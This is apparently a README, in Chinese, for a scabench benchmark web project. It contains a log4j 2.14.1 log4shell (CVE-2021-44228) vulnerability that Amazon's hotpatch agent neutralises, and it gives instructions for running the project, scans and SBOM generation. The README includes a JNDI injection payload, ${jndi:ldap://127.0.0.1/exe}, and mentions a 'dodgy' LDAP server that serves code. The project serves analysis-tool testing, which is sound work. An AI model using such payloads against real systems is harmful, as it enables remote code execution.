这是一个简单的 Web 项目,包含一个经过消杀处理的 log4shell 漏洞。如需查看未经消杀处理的版本,请访问 https://github.com/scabench/l4j-tp1/。
该项目定义了一个简单的 scabench.HelloWorldService get 服务,返回纯文本字符串 hello world。
该服务不期望接收参数,如果遇到参数,则会记录一条错误日志。
漏洞依赖为 org.apache.logging.log4j:log4j-core:2.14.1,漏洞编号为 CVE-2021-44228。
该项目在 log4shell 出现且尚无补丁时,使用了 Amazon 构建的代理。
该代理会禁用存在漏洞的类 org.apache.logging.log4j.core.lookup.JndiLookup。
代理的使用是通过在加载 scabench.HelloWorldService 时(在该类的静态块中)动态安装(即附加)代理来强制执行的;
如果失败,应用程序将崩溃。这要求 JVM 启用代理自附加功能。
export MAVEN_OPTS="-Djdk.attach.allowAttachSelf=true"mvn jetty:runjava -jar dodgy-ldap-server.jar(存在漏洞的代码会从此服务器下载 Java 代码)http://localhost:8080/,该页面包含一个预填表单,其中包含恶意 payload ${jndi:ldap://127.0.0.1/exe}foo(未经消杀处理的版本 则会)请注意,运行应用程序时,控制台会出现以下输出:
Transforming org/apache/logging/log4j/core/lookup/JndiLookup。
这需要 Unix 或 macOS 环境。将该项目移植到 Windows 也很容易。 提供了一个单元测试来演示该漏洞,其设置与 https://github.com/scabench/l4j-tp1/ 相同。由于进行了消杀处理, 该测试现在失败。
有一些 shell 脚本用于运行不同的分析,结果报告可以在 scan-results 中找到。
pom.xml 中有一个插件,用于生成 CycloneDX 格式的 SBOM。
要生成 SBOM,请运行 mvn cyclonedx:makePackageBom,生成的 SBOM 位于
target/ 目录下,格式为 json 和 xml。